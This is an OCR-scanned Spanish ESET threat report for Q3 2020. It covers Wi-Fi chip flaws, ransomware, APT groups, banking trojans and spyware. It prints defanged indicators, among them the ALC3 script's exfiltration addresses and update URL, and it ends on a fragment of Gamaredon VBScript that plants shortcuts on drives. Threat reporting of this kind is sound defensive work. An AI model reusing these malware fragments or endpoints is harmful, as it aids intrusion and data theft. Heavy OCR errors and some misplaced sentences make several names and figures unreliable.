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Prologo

iBienvenido a la edicion del Informe de Amenazas de ESET del tercer
trimestre de 2020!

Mientras el hemisferio norte se prepara para pasar un invierno azotado por la pandemia, el COUID-19 parece es-
tar perdiendo fuerza, al menos en el ambito del cibercrimen. Como la tacticao de usar seriuelos relacionados con
el coronavirus ya no tiene el impacto deseado, los delincuentes parecen haber “vuelto a los modelos clasicos”
durante el tercer trimestre de 2020. S5in embargo, hay un area donde persisten los efectos de la pandemia: en el
trobajo remoto, con sus numerosos desafios de seguridad.

Esto es especialmente cierto para los ataques dirigidos al Protocolo de Escritorio Remoto (BROP), que crecieron
durante todo el primer semestre. En el tercer trimestre, los intentos de ataques al ROP considerando el numero
Ode clientes unicos apuntados, aumentaron un 37%. Es probable que el aumento se deba al creciente numero de
sistemas mal protegidos que se fueron conectando a Internet durante la pandemia, y quiza tambien a que otros
delincuentes se inspiraron en las bandas de ransomware y comenzaron a atacar el protocolo RDP.

La escena del ransomware, seguida de cerca por los especialistas de ESET, tuvo consecuencias ineditas este tri-
mestre. Por ejemplo, el ataque de ransomware investigado como homicidio tras la muerte de un paciente porque
su hospital quedd inhabilitado. Otro giro sorprendente fue el resurgimiento de los mineros de criptomonedas,
que habian estado disminuyendo por siete trimestres consecutivos. Otra de las cosas que ocurrieron durante

el tercer trimestre fueron: el regreso a la escena de Emotet, el surgimiento del malware bancario para Android,
nuevas olas de correos electronicos suplantando la identidad de importontes empresas de mensajeria y logistica,
entre otras novedades.

Los hallazgos de las inhvestigaciones publicadas durante este trimestre fueron igual de relevantes, ya que los 1n-
vestigadores de ESET descubrieron mas chips de Wi-Fi con vulnerabilidades a fallos como los de Krd@k; revelaron
detalles sobre un malware para Mac empaguetado en una aplicacion de trading de criptomonedas; descubrieron
CORThief, un malware que apunta a softswitches de UolP de Linux; y profundizaron su analisis de KryptoCibule,
una amenaza que mina y roba criptomonedas, ademas de exfiltrar archivos.

Ademas de explicar brevemente estos hallazgos, el presente informe tambien incluye actualizaciones con infor-
macion inedita del Equipo de Investigacion de ESET, con un enfoque especial en las operaciones de los grupos de
omenazas persistentes avanzadas (APT): consulte las secciones Noticias del laboratorio y Actividad de grupos de
APT para conocer las nhovedades sobre TA410, Sednit, Gamaredon y mas.

ESET taombién siguio contribuyendo con la base de conocimiento MITRE ATT&CK, con cuatro presentaciones

aceptadas en el tercer trimestre. Otros aportes de nuestros equipos incluyen la publicacion de un script

de prueba para Krdlk y un conjunto de herramientas llamadas Stadeo que facilitan el analisis del malware
Stantinko.

En este trimestre hubo una gran contidad de eventos virtuales y los inhvestigadores de ESET compartieron sus
conocimientos en Black Hat USA y Asia, CARO, Uirus Bulletin, DEF CON, Ekoparty y muchos otros. Nos complace
invitarlo a las charlas y los talleres de ESET que se llevaran a cabo en Botconf, AUAR y CODE BLUE durante los
proximos meses.

Esperamos que disfrute la lectura, se mantenga seguro y, por sobre todo, saludable.

Roman Kovac, Jefe de Investigacion de ESET
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Mas alla de Kr@@@k: Otros chips de

mbien s

Oh vulnerables a le

Wi-F1 te

escuchas

Milos Cermék y

Robert Lipovsky

Los ihvestigadores de ESET revelan fallas similares a Krd@k que afectan a
mas marcas de chips de lo que se pensaba.

Nuestro descubrimiento de la vulnerabilidad
KrBk tuvo un gran impacto, ya que la cantidad
de dispositivos afectados superd los mil millo-
nes, incluyendo los de Apple, Samsung, Amazon y
otros dispositivos que usan conjuntos de chips
vulnerables. Y recientemente descubrimos fa-
llas similares que afectan incluso a mas marcas
de chips de lo que se pensaba.

De Kr@@k al
descubrimiento de
vulnerabilidades
relacionadas

Kro@k [1] (formalmente CUE-2019-15126] es una
vulnerabilidad en los chips de Wi-Fi de marca

Broadcom y Cypress [2] que permite el desci-

frado no autorizado de parte del trafico ci-
frado con WPAZ2. Especificamente, la falla ha
llevado a que los datos de la red inalambrica
se cifren con una clave de sesidn en pares

[ | ?

conformada toda por ceros en lugar de la cla-
ve de sesion correspondiente previamente es-
tablecida en el protocolo de enlace de 4 vias.
Este estado indeseable ocurre en los chips de
Broadcom y Cypress vulnerables luego de una

disociacion de Wi-Fi.

El aprovechamiento de Krd@k permite a los
adversarios interceptar y descifrar datos
(potencialmente confidenciales] de su interes
Yy, en comparacion con otras tecnicas comun-
mente utilizadas contra Wi-Fi, esta tiene una
ventaja significativa: los atacantes no ne-
cesitan estar autenticados ni asociados a la
WLAN. En otras palabras, no necesitan conocer
la contrasena de Wi-Fi.

Trabajamos con los fabricantes afectados (asi
como con ICASI [3]) a través de un proceso de
divulgacion coordinado antes de revelar pu-
blicamente la falla en la Conferencia RSA en
febrero de 2020 [4].

T — B

Descripcion general de Krd@k: despues de una disociacion de Wi-Fi, los datos se transmiten cifrados,
pero la clave de sesion esta conformada totalmente por ceros.
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La noticia llamo la atencidon de muchos otros fabricantes de chips
y dispositivos, algunos de los cuales descubrieron que tambien

tenian productos vulnerables y, desde entonces, han lanzado par-
ches. En este sitio [5] mantenemos una lista de los avisos hechos

por los distintos fabricantes sobre este tema.

S1 bien no observamos CUE-2019-15126 en otros chips Wi-F1 que no
sean Broadcom y Cypress, si encontramos vulnherabilidades simila-
res que afectaron a los chips de otros fabricantes. Estos hallaz-
gos se presentaron por primera vez en Black Hat USA 2020 [6] Y

los describiremos brevemente a continuacion.

RQualcomm - CUE-2020-3702

Ademas de los chips de Broadcom y Cypress, otra de las marcas
gue observamos fue RQualcomm. La vulnerabilidad que descubrimos
(a la que se le asigno la CUE-2020-3702) también se podia desen-
cadenar como consecuencia de una disociacidon y ocasiono la di-
vulgacion no deseada de datos al transmitir datos no cifrados en

lugar de frames de datos cifrados, como ocurre con Krd@dk. Sin em-

bargo, la principal diferencia es que, en lugar de estar cifrados
con uha clave de sesion compuesta totalmente por ceros, los da-
tos directamente ni siquiera estan cifrados.

La captura de pantalla muestra el registro de un frame de Wires-
hark tras la disociacion de Wi-Fi en un router equipado con un
chip Qualcomm. Observe que el marcador dentro del campo de con-
trol de frame (Frame Control Field) esta establecido en UERDADERO
y que el frame parece tener parametros CCMP: ambos son indica-
dores de que el frame de datos esta cifrado. Sin embargo, los da-
tos se transmitieron sin cifrar.

Los dispositivos que probamos y descubrimos gque eran vulnerables

son el D-Link DCH-GB20 Smart Home Hub y el router inalambrico
Turris Omnia. Por supuesto, cualguier otro dispositivo sin el par-
che instalado gue utilice los conjuntos de chips Qualcomm vulne-
rables tambien esta en riesgo.

Tras nuestra divulgacion, Qualcomm se mostro muy cooperativo y
en Jjulio lanzo un parche para su controlador utilizado en produc-

tos con soporte oficial.

Medialek y Microsoft Azure Sphere

También observamos la manifestacion de una vulnerabilidad simi-

lar (es decir, falta de cifrado) en algunos chips Wi-Fi de MediaTek.

Uno de los dispositivos afectados es el router ASUS RT-ACS2U.
Otro, el kit de desarrollo de Microsoft Azure Sphere, que analiza-
mos como parte de nuestra asociacion con Azure Sphere Security

Research Challenge [7]. Azure Sphere utiliza el microcontrolador

MT3620 de MediaTek en una amplia gama de aplicaciones de la In-
ternet de las cosas (IoT], incluyendo dominios inteligentes do-
mesticos, comerciales, industriales y muchos otros.

Segun MediaTek, los parches de software que solucionan el pro-
blema se lanzaron durante marzo y abril de 2020. La solucidn para
MT3620, lanzada en julio de 2020, se incluyo en la version 20.07
de Azure Sphere 0OS.

Conclusion

Nuestros hallazgos de KrB0k, asi como las demas vulnerabilida-
des relacionadas mencionadas arriba, nos recuerdan que no de-
bemos confiar solamente en un Unico mecanismo de proteccion,
como WPAZ. En cambio, se considera conveniente extender el mis-
mo nivel de precaucion que usamos con las redes Wi-Fi publicas y
abiertas en las redes protegidas por WPAZ: es decir, asegurarse
de que se esta utilizando cifrado SSL/TLS y una UPN.

Entrada en el blog WeliveSecurity [8]

Registro de Wireshark de un frame caopturado tras la disociacion de Wi-Fi en un router equipado con un chip Rualcomm vulherable.
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Malware para UEFI

El malware EFIlock impide el arranque de la
computadora y solicita un rescate

El Equipo de Investigacion de ESET identifico varias muestras maliaciosas de bootloader EFI. El
malware, detectado por los productos de ESET como EFI/EFIlock, muestra un pedido de rescate
e impide el arrangque de la computadora. Puede infectar equipos que tienen la funcion Arranque
Seguro de UEFI deshabilitada.

Un dropper reemplaza el bootloader EFI predeterminado “bootx64.efi” y elimina los modulos EFI
de Microsoft en la particion del sistema EFI para iniciar otro malicioso. El bootloader reem-
plazado solo muestra un mensaje de rescate y se ejecuta en un loop infinito. A pesar de lo que
dice el mensaje de rescate, EFIlock no cifra las computadoras afectadas.

Hilo de Twitter [9]

NOTICIE E

N D ) N T )
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Ultimos hallazgos de los

Laboratorios de Investigacion de
ESET en todo el mund

Grupo Evilnum

Un analisis en profundidad de Evilnum y su conjunto de
herramientas

El Equipo de Investigacion de ESET analizo las operaciones del grupo Evilnum, responsable del
malware con el mismo nombre utilizado en ataques contra empresas de tecnologia financiera. Si
bien el malware ha estado in-the-wild desde al menos 2018, las actividades del grupo se han man-

tenido en gran parte bajo el radar.

La investigacion revela que el conjunto de herramientas y la infraestructura del grupo han evo-
lucionado y consisten en malware de produccion propia y personalizado combinado con herramien-
tas compradas a Golden Chickens, un proveedor de malware como servicio (Malware-as-a-Service o
MaaS), cuyos clientes infames incluyen a los grupos FIN6 y Cobalt.

Segun la telemetria de ESET, los objetivos de Evilnum son empresas de tecnologia financiera. Por
ejemplo, companias que ofrecen plataformas y herramientas para realizar trading online. E1 obje-
tivo principal del grupo Evilhum es espiar a sus objetivos y obtener informacion financiera tanto
de las empresas objetivo como de sus clientes.

Para infectar a los objetivos se usan correos electronicos de spearphishing con un enlace a un
archivo ZIP alojado en Google DOrive. Ese archivo contiene varios archivos de acceso directo (LNK])
que extraen y ejecutan un componente malicioso, mientras muestran un documento sefuelo.

Entrada en el blog WeliveSecurity [10]
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Amenazas para Mac

Aplicacion de trading de criptomonedas para Mac con
nuevo hombre y empaquetada con malware

El Equipo de Investigacion de ESET descubrio sitios web que distribuyen aplicaciones de trading de
criptomonedas troyanizadas para computadoras Mac. Se trata de aplicaciones legitimas empaqueta-
das junto con el malware GMERA, cuyos operadores las utilizaron para robar informacion confiden-
cial de las victimas.

En esta nueva camparfia de GMERA, se voluid a nombrar la aplicacion de trading legitima Kattana (in-
cluyendo la creacion de sitios web copiados) y se afiadio el malware a su instalador. Uimos cuatro
nombres distintos utilizados para la aplicacion troyanizada: Cointrazer, Cupatrade, Licatrade y

Trezarus.

Ademas de analizar el codigo del malware, tambiéen configuramos honeypots (equipos utilizados con
la intencion de infectarse para capturar malware) con el objetivo de revelar las motivaciones de
los ciberdelincuentes. La actividad observada confirmo que los atacantes han estado recopilando
informacion del navegador, como cookies e historiales de navegacion, billeteras de criptomonedas

y capturas de pantalla.

Entrada en el blog WeliveSecurity [11]

Malware bancario

Mekotio: estas no son las actualizaciones de seguridad
que estaba buscando...

Los investigadores de ESET analizaron el malware Mekotio, un troyano bancario dirigido a paises de
habla hispana y portuguesa. Mekotio tiene varias funcionalidades tipicas de los backdoors, como la
posibilidad de realizar capturas de pantalla, reiniciar las maquinas afectadas, restringir el acceso
a sitios web bancarios legitimos y, en algunas variantes, incluso robar bitcoins y extraer las cre-
denciales almacenadas por el navegador Google Chrome.

Mekotio ha estado activo desde al menos 2015 y, al 1gual que ocurre con otros troyanos bancari-
0s que hemos investigado, tiene caracteristicas comunes a este tipo de malware, como el hecho
de estar escrito en Delphi, usar ventanas emergentes falsas y tener la funcionalidad de backdoor.
Para parecer menos sospechoso, Mekotio muestra un cuadro con un mensaje en un intento de hac-
erse pasar por una actualizacion de seguridad.

Entrada en el blog WeliveSecurity [12]

Malware de criptomonedas

KryptoCibule: malware que mina y roba criptomonedas,
ademas de exfiltrar archivos

El Equipo de Investigacion de ESET descubrid una familia de malware hasta el momento no documentada
que se propada a traves de torrents maliciosos y que usa diversos trucos para extraer la mayor can-
tidad posible de criptomonedas de sus victimas. Segun la telemetria de ESET, la amenaza, que llamamos
KryptoCibule (derivada de las palabras “cripto” y “cebolla” en checo y eslovaco], esta dirigida princi-
palmente a usuarios de la Republica Checa y Eslovaquia.

Este malware constituye una triple amenaza en lo que respecta a las criptomonedas: utiliza los recur-
sos de la victima para minar criptomonedas, reemplaza las direcciones de billeteras en el portapapeles
para intentar secuestrar transacciones y filtra los archivos relacionados con las criptomonedas, todo
mientras implementa multiples técnicas para evadir la deteccion. KryptoCibule hace un uso extensivo
de la red Tor y el protocolo BitTorrent en su infraestructura de comunicacion.

Entrada en el blog WeliveSecurity [13]

Amenazas para Linux

,Quien llama? CDRThief ataca los softswitches de UolP
de Linux

El Equipo de Inhvestigacion de ESET descubrio un interesante tipo de malware, llamado CDRThief, que

ataca a softswitches de voz sobre IP (UolIP) basados en Linux.

Notamos este malware en uno de nuestros feeds de intercambio de muestras, y como es muy extra-
Ao encontrar un malware para Linux completamente nuevo, nos llamo la atencion. AUn mas intere-
sante fue el hecho de que rapidamente se hizo evidente que este malware apuntaba a una platafor-
ma de UolIP de Linux especifica.

El objetivo principal del malware es extraer diversos datos privados desde el softswitch compro-
metido, incluyendo el registro con el detalle de las llamadas (CDR)J. Los CDR contienen metadatos
sobre las llamadas UolIP, como las direcciones IP del autor y el receptor de la llamada, la hora de
inicio de la llamada, su duracion, su costo, entre otros. Para robar esos metadatos, el malware
consulta las bases de datos MySQL internas utilizadas por el softswitch. Por lo tanto, los atacan-
tes demuestran conocer muy bien la arquitectura interna de la plataforma de destino.

La forma en que los atacantes usan la informacion robada es un misterio gque aun esta sin resolver.
Los registros de datos de llamadas se podrian utilizar en el ciberespionaje o en fraudes de UolP.

Entrada en el blog WeliveSecurity [14]
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3ds MAXScripts maliciosos

Nota exclusiva para el Informe de Amenazas

Numerosos usuarios de 3ds Max resultaron afectados por
dos campanas que utilizan MAXScripts maliciosos

PhysXPluginStli

A mediados de agosto de 2020, Bitdefender [15] advirtiod sobre una camparia cuya fase inicial con-

sistia en un archivo script cifrado de 3ds Max (MSE) malicioso llamado “PhysXPluginStl.mse”, que

contenia una DLL maliciosa. Lo analizamos y publicamos nuestros hallazgos en Twitter [16].

Autodesk 3ds Max es un software de animacion y modelado 30 profesional y popular. Un script MSE es un
3ds MAXScript (MS) que se cifra con un algoritmo de cifrado patentado. Se admiten dos versiones del al-
goritmo, llamadas version:l y version:Z2. El algoritmo version:l tiene la ventajao de ser compatible con to-
das las versiones de 3ds Max y es la version elegida por los atacantes, ya que les permite maximizar el
numero de victimas potenciales.

Contenido del MAXScript malicioso descifrado

Al observar nuestra telemetria, encontramos cientos de victimas, principalmente ubicadas en Co-
rea del Sur y Japon. Esta amenaza se vio por primera vez en febrero de 2020. Uarias de estas vic-
timas eran companias de videojuegos, lo que no es sorprendente si se considera la naturaleza del
software 3ds Max.

Coincidentemente, tambien observamos gque algunas de las victimas de la industria de los videojue-

gos habian sido atacadas anteriormente por el Grupo Winnti (consulte nuestras investigaciones de
octubre de 2019 [17] y mayo de 2020 [18]]). Sin embargo, un analisis mas detallado no reveld ningu-
na superposicion de herramientas, codigos o infraestructura entre el Grupo Winnti y esta campana;

por lo que no creemos que esten relacionados.

ALCS3

Esta campana en particular, que se basa en el uso de archivos MSE maliciosos, no es la unica gue
hemos observado. En marzo pasado, una publicacion en un blog [19] 4y un comentario en Autodesk App

modelos de 3ds Max y propagarse a otros archivos MAXScript una vez guardados.
Este script malicioso primero recopila informacion diversa sobre su host, como:

= NUumero de nucleos

= Cantidad de RAM

"= Modelos, tamahos y numeros de serie de unidades de disco

m [irecciones MAC y direcciones IP asignadas por de la interfaz de red Ethernet
= Uersion de 3ds Max utilizada

Estos datos, junto con el modelo actual de 3ds Max, se envian a la direccion de correo electronico
rrr888_3000@126[.]Jcom con la direccidn sss?77_2000@126[.]Jcom como remitente mediante la API .NET
System.Net.Mail y el servidor SMTP smtp.126[.]Jcom. Esto significa que los atacantes no solo tienen
acceso a la informacion de la magquina de la victima, sino tambien a sus modelos de 3ds Max, por lo
que puede robar propiedad intelectual valiosa.

El malware también se actualiza desde http://www.maxscript[.]lec/update/upscript.mse y el script
actualizado se guarda en la carpeta de inicio de 3ds Max para gque se ejecute cada vez que se ini-
clia 3ds Max.

Recientemente notamos que el dominio maxscript[.]cc ya no estaba bajo el control de los ata-
cantes, asi que realizamos un sinkhole. Dado que el C&C no cuenta con ningun mecanismo back-
up implementado en el malware, los atacantes no pueden actualizarlo. No obstante, el virus sigue

pPropagandose y robando datos.

Gracias al sinkhole realizado a este dominio descubrimos gue decenas de miles de computadoras
que ejecutan 3ds Max se vieron comprometidas por este script y que mas del 90% de las victimas
estan ubicadas en China.

Indicadores de Compromiso (IoC]) [21]

Store [20] mencionaron un nuevo MAXScript malicioso llamado ALC3 gue fue diseriado para robar

Japon mCorea del Sur m0Otros China Hong Kong REEUU mOtros

1%
Wi o

96% {
3%

Distribucion geografica de victimas del
MAXScript ALC3 malicioso

Distribucion geografica de victimas del
MAXScript PhysXPluginStl malicioso
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Troyanos bancarios latinoamericanos
Nota exclusiva para el Informe de Amenazas

ESET ha estado monitoreando los troyanos bancarios latinoamericanos durante

mas de tres anos y estas familias de malware nunca dejan de evolucionar. En

el tercer trimestre de 2020, los ihvestigadores de ESET observaron algunos

cambios significativos en comparacion con el segundo trimestre.

Troyanos bancarios de America Latina: Un tour por Europa

Grandoreiro [22], Mekotio [12] y Mispadu [23] fueron los troyanos bancarios latinoamericanos mas acti-

vos ultimamente. Desde finales de 2019, estos tres troyanos bancarios se expandieron mas alla de las

fronteras latinoamericanas, afectando a Espana y Portugal. Dadas las similitudes lihguisticas, parecia

el paso logico a seguir. Inesperadamente, segun la telemetria de ESET del tercer trimestre, tambien

disminuyo significativamente la actividad en su pais de origen: Brasil.

En comparacion con el segundo trimestre, las campafnas en Espana se duplicaron mientras que las de

Brasil se redujeron drasticamente. Pero eso no significa que America Latina haya dejado de ser un aob-

Jetivo: la region sigue siendo atacada por otros troyanos bancarios latinoamericanos, principalmente

por Casbaneiro [24] y Uadokrist.
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Paises y regiones a los que apuntan Grandoreiro, Mekotio y Mispadu combinados

Esta creciente actividad en Europa nhos lleva a hacer una segunda observacion: la gran canti-

dad de camparfias de spam dirigidas a Italia [25] en las Ultimas semanas del tercer trimestre.

Esto es algo sorprendente, ya que es la primera vez que los operadores de estas familias de

malware utilizan un idioma gque no es espanol o portugues. Los correos electronicos estan

mal escritos y algunos incluso contienen partes en espanol, probablemente debido a la falta
de fluidez en italiano de los actores maliciosos. Ademas, la plantilla de correo electronico
es identica a las utilizadas en las campafnas en espafol. En comparacion con las de Espana,
estas campanas fueron muy pequenas, por lo que creemos que los estafadores recien estan
probando el terreno. ¢Es posible que Italia se convierta en su proximo gran objetivo?

Plantilla de correo electronico de spam utilizada por Mekotio en Espafa

No es de extranar que los troyanos bancarios latinoamericanos comenzaran
a apuntar a Espana y Portugal: las similitudes linglisticas facilitan que los

operadores tengan exito. No obstante, nos sorprendio la notable disminucion
de la actividad en Brasil y la repentina aparicion en Italia.

Juraj Hornak, Analista de Malware de ESET

Finalmente, Mekotio se convirtio en el primer troyano bancario latinoamericano que aparecio
con una variante de 64 bits de sus binarios. Aunque es un enfoque estandar en el malware

de hoy, estas familias especificas de malware no lo habian utilizado antes. Esto tan solo de-
muestra sus continuos esfuerzos de mejora.

Para obtener mas informacion sobre este tema, consulte este whitepaper [26] recientemente

publicado por ESET en el que se explica como los autores de troyanos bancarios latinoameri-
canos cooperan de manera estrecha para lograr sus objetivos.

Indicadores de Compromiso (IoC]) [21]
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LWelcome Chat es una app de mensajeria segura? Nada
mas lejos de la verdad...

Los investigadores de ESET descubrieron una nueva operacion dentro de una campafna de cibe-
respionaje de larga duracion en el Medio Oriente, al parecer vinculada al grupo de actores de
amenazas conhocido como Gaza Hackers o Molerats.

La app para Android Welcome Chat cumple un papel decisivo en esta operacion, ya que se usa
como software espia a la vez que ofrece la funcionalidad de chat prometida. El sitio web mali-
cioso que promueve y distribuye la app afirma ofrecer una plataforma de chat segura que esta
disponible en la tienda Google Play.

Pero ambas afirmaciones son falsas: Welcome Chat es una herramienta de espionaje y nunca es-
tuvo disponible en la tienda oficial de apps para Android. Por si1 fuera poco, los operadores de-
Jjaron los datos recopilados de sus victimas disponibles gratuitamente en Internet.

Ademas de su funciodn principal de espionaje (monitorear las comunicaciones de chat de sus
usuarios,] la app Welcome Chat puede realizar las siguientes acciones maliciosas: extraer los
mensajes SMS enviados y recibidos, el historial de registro de llamadas, la lista de contactos,
las fotos del usuario, las llamadas telefdonicas grabadas, la ubicacion del GPS del dispositivo e
informacion sobre el mismo.

Entrada en el blog WeliveSecurity [27]

El grupo APT-C-23 meJjora su spyware para Android

El Equipo de Investigacion de ESET descubrio una version hasta el momento no reportada del
spyware para Android utilizado por APT-C-23, un grupo de actores de amenazas tambien conoci-
do como Two-tailed Scorpion gue apunta principalmente a Oriente Medio. Los productos de ESET
detectan el malware como Android/SpyC23.A.

A diferencia de las versiones previamente documentadas del spyware movil de este grupo, An-
droid/SpyC23.A tiene una funcionalidad de espionaje extendida, que incluye la lectura de notifi-
caciones de apps de mensajeria, la grabacion de llamadas de WhatsApp y la grabacion de la pan-
talla, asi como nuevas funciones para evitar la deteccion, como descartar las notificaciones de
las apps de seguridad integradas de Android.

Una de las formas en que se distribuye el spyware es a traves de una tienda de apps de Android
falsa, haciéendose pasar por aplicaciones de mensajeria conocidas, como Threema y Telegram,
como senuelo. Una vez que se inicia el malware, solicita a las victimas que instalen manualmen-
te la aplicacion legitima, almacenada en los recursos del malware. Mientras se instala la aplica-
cion legitima, el malware oculta su presencia en el dispositivo afectado. Por lo tanto, las vic-
timas consiguen la app que tenian la intencion de descargar pero con un software espia que se
eJecuta silenciosamente en segundo plano.

Entrada en el blog WeliveSecurity [28]
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NewPass Nota exclusiva para el Informe de Amenazas

NewPass: Una historia de dos atribuciones

En junio de 2020, se cargo a UirusTotal desde Chipre un malware hasta el
momento no documentado. En las semanas subsiguientes, el cddigo malicioso
fue atribuido a Turla y la empresa de seguridad Telsy lo apodd NewPass.

Los investigadores de ESET no estan de acuerdo con dicha atribucion y
consideran que aun hoy no se conoce quién esta detras de NewPass.

De hecho, nos topamos con este backdoor en marzo de 2019 mientras investigabamos un incidente

relacionado con el grupo The Dukes (también conocido como APT29). Este incidente, documentado en
el whitepaper Operation Ghost [29] de ESET en octubre de 2019, ocurrid en el Ministerio de Relaciones

Exteriores de un pais de la Union Europea. Durante esta investigacion, tambien se encontraron en las
mismas computadoras varias muestras de Crutch, un backdoor operado por Turla.

El mismo remitente chipriota que subito NewPass a UT en junio de 2020 tambien habia subido mues-
tras del backdoor Carbon de Turla a UirusTotal en mayo de 2020. Creemos que la actual atribucion

publica de NewPass a Turla se basa principalmente en este punto.

Caracteristicas tecnicas de NewPass

NewPass es un backdoor complejo escrito en C++. No notamos ninguna similitud en su codigo con fa-
milias de malware conocidas de The Dukes o Turla.

En el disco hay un loader y un sistema de archivos virtual cifrado que contiene la configuracion en
formato JSON y la OLL del backdoor.

Como sugieren algunos de los nombres clave en la configuracion, NewPass implementa dos protoco-
los de red: uno que usa HTTP y otro mas complejo que usa archivos de imagen cargados en el servicio
web Imgur.

NewPass usa la API oficial de Imgur para descargar o cargar imagenes al servicio. Implementa la es-
teganografia para extraer de las imagenes descargadas informacion, como comandos, e incrustar los
datos extraidos en imagenes gue luego se cargan en Imgur para su posterior recuperacion por parte
de los operadores del malware. Para integrarse en la actividad normal de Imgur, el malware imple-
menta un generador de frases que se utiliza para completar la seccion de descripcion de Imgur.

El segundo protocolo de red, basado en HTTP, muestra interesantes similitudes con las conocidas
tacticas, tecnicas y procedimientos de The Dukes:

» [os servidores estan controlados por los atacantes y la pagina de inicio redirige al sitio web
que es imitado por el dominio malicioso (por ejemplo, ugtimes[.]Jcom para el servidor de C&C
utdtimes[.]Jcom). Esto concuerda con las tacticas, técnicas y procedimientos de PolyglotDuke y
FatDuke.

" En la respuesta HTTP del servidor, los datos del backdoor se encuentran entre dos delimitadores.
Esto es similar al protocolo de red de PolyglotDuke.

Finalmente, el backdoor implementa una amplia gama de comandos que permite a sus operadores con-
trolar totalmente la magquina de la victima.

No encontramos grandes semejanzas con ninguna familia de malware de Turla. Las curiosas similitu-
des en la infraestructura de la red, por mas gque son interesantes, no son suficientes para atribuir
NewPass a The Dukes. Por lo tanto, actualmente consideramos gque esta familia de malware no esta

atribuida.

Indicadores de Compromiso [(IoC] [21]

Zebrocy (Sednit]) Nota exclusiva para el Informe de Amenazas

El grupo Sednit, tambien conocido como APT28, Fancy Bear, Sofacy y
STRONTIUM, ha estado operando desde al menos 2004, y se cree que es
responsable de importantes ataques de alto perfil. Cuenta con un arsenal de
herramientas de malware bastante diversificado, que incluye Zebrocy. Entre
sus objetivos se encuentran embajadas, Ministerios de Relaciones Exteriores
y diplomaticos, principalmente en Asia Central, Europa y Medio Oriente.

Downloaders de Zebrocy escritos en N1m gue se siguen
usando en el tercer trimestre de 2020

En el informe trimestral anterior, describimos un resurgimiento menor en las implementaciones de
Zebrocy despues de un periodo de inactividad. En el tercer trimestre, el grupo mantuvo este bajo
nivel de actividad y desplego algunas campafas nuevas, segun nuestra telemetria.
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En agosto, en UirusTotal se vio uha muestra que formaba parte de una campana que utilizaba el even-
to del Taller de investigacion de 1la OTAN AUT-355 como sefiuelo (hombre de archivo: AUT_355_Call_for_
Participation]. El operador de Zebrocy se inspird en este evento [30] para atraer a sus victimas y
distribuir uno de sus downloaders escrito en Nim. Este lenguaje no es nuevo para el grupo; la ultima
campafa que involucrod un downloader escrito en Nim fue a fines de 2019 y lo mencionamos aqui [31].
El modus operandi de la campafa es el habitual para el grupo: envia un correo electronico de phi-
shing con un archivo adjunto. Para que la victima crea que el documento es inofensivo, los atacantes
proporcionan un ejecutable con un icono de PDOF. El archivo en realidad es un downloader malicioso
gue conduce a un posible backdoor en su etapa final.

Indicadores de Compromiso (IoC]) [21]

TA410 Nota exclusiva para el Informe de Amenazas

TA410 es un grupo patrocinado por el estado que ha estado atacando el
sector de servicios publicos de los Estados Unidos desde 2019. Proofpoint

[32] reporto por primera vez sus actividades en agosto de 2019. Sus
principales tacticas, técnicas y procedimientos [TTP)] incluyen el envio de
correos electronicos de phishing dirigido con documentos que contienen
macros maliciosas y el uso de los backdoors personalizados LookBack y
FlowCloud [33].

TA410 extiende sus actividades

En Julio de 20820, detectamos actividad sospechosa en una organizacion diplomatica en el Medio
Oriente y pudimos atribuirla a TA410. E1 huevo objetivo parece muy diferente y podria mostrar un
cambio radical en los objetivos del grupo.

Los atacantes probablemente aprovecharon una vulnerabilidad en un servidor de Internet que ejecu-
taba una version obsoleta de Microsoft SharePoint. Esto les permitio infectarlo con malware y tomar
el control del equipo. En esta maquina, los operadores desplegaron varias herramientas y malware:

= Una nueva variante del backdoor LookBack (también conocido como SodomNormal), configurado para
comunicarse directamente con una direccion IP hardcodeada

s WMIExec [34], una herramienta utilizada para el movimiento lateral

= Uarias variantes de HTran [35] (también conocido como transmisor de paguetes HUC)J, una
herramienta que se utiliza para realizar proxy del trafico de una red entre la maguina
comprometida y el servidor del atacante

m Un backdoor hasta el momento no documentado, almacenado en forma cifrada en el registro de
Windows, que intenta ocultarse en el trafico de red mediante el uso de un valor con encabezado
HTTP “Host” falsificado, onedrive.live.com, mientras se conecta al servidor del atacante

La actividad continud en agosto de 2020 con un nhuevo objetivo: una embajada de un pais en Africa
Occidental. Si bien aun se desconoce el vector de infeccidn, encontramos una variante esencialmen-
te idéntica al backdoor LookBack mencionado anteriormente.

Estos dos casos muestran un cambio en las actividades del grupo TA410, que en los Ultimos meses se
enfoco en atacar Ministerios de Relaciones Exteriores y organizaciones diplomaticas. Tambiéen de-
muestran gue ya no dependen solo de los correos electronicos de phishing, sino gue probablemente
esten aprovechando aplicaciones vulherables sin parches instalados que se ejecutan en los servido-
res de Internet de sus objetivos.

Grupo Gamaredon Nota exclusiva para el Informe de Amenazas

Gamaredon es un grupo de actores de amenazas que ha estado activo
desde al menos 2013. Fue responsable de varios ataques, principalmente a
instituciones ucranianas.

Gamaredon - inundando la zona con troyanos

El grupo Gamaredon estuvo muy activo durante el tercer trimestre de 2020, continuando su implacable
atagque a organizaciones gubernamentales ucranianas. Desde la publicacion que realizamos sobre Gama-

redon en el seqgundo trimestre de 2020 [36], el grupo ha actualizado su arsenal de malware. En esta ac-

tualizacion del Informe de Amenazas, describimos los Ultimos esfuerzos realizados por este grupo para
convertir en troyanos los documentos, archivos y ejecutables legitimos encontrados en las redes com-
prometidas.

Como se menciono en la publicacion que realizamos en el segundo trimestre de 2020, el modulo de in-
yeccion de macros de Office y el modulo UBA de Outlook se disenaron para ayudar con el movimiento

lateral dentro de una organizacion y comprometer los recursos legitimos. El primero inyecta automa-
ticamente macros maliciosas o referencias de plantillas remotas en documentos accesibles desde el

sistema comprometido. El segundo reemplaza el proyecto UBA de Outlook predeterminado por uno que

automaticamente crea y envia correos electronicos maliciosos a los objetivos seleccionados.

El grupo Gamaredon se mantuvo creativo y agrego tres modulos mas a su arsenal con la intencion de
seguir facilitando el movimiento lateral. El primero de ellos se distribuye como un archivo SFX que
contiene archivos BAT y UBS, una de las combinaciones de archivos favoritos de Gamaredon. Este maodu-
lo crea una tarea programada que se ejecuta cada nueve minutos y busca unidades extraibles o de red.
Cuando encuentra alguna, coloca un archivo LNK en el directorio raiz de la unidad con un nombre hard-
codeado, como “FILES.Ink”, con la esperanza de que alguien lo abra. Estos archivos LNK llaman a “mshta.
exe” para descargar y ejecutar un archivo remoto.

If {ZKZUhtECXPB _.DriveType = 1 or ZkZuhtECKPB _DriveType = 3} And ZKZuhtECXPB_IsReady Then
set OKImICHtFjU = WScript.Createlbject{"WScript.Shell™ }

set CbnugbwInJe = OKImICHtFjU.CreateShortcut{ySKyEBZHfgr+" %"+ "FILES .1nk"})

